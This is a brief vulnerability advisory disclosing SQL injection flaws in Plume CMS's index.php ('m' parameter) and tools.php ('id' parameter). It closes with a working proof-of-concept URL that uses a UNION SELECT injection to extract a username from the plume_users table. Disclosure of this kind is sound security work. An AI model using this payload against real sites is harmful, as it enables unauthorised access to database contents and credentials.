Details.
Plume CMS is a content management system written in PHP. The 
application suffers from SQL injection vulnerabilities in 
index.php and tools.php, as it fails to validate data supplied 
in the 'm' variable of index.php before being used in a SQL 
query. Additionally, the variable .id. of tools.php is also 
vulnerable to the same type of attack.

SQL injection attacks can give an attacker access to backend 
database contents, the ability to remotely execute system 
commands, or in some circumstances the means to take control 
of the operating system hosting the database.

Proof of Concept.
The below POC will return the first username from the users
table:
/plume/manager/index.php?m=1 UNION SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,user_username,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL FROM plume_users LIMIT 1,1--
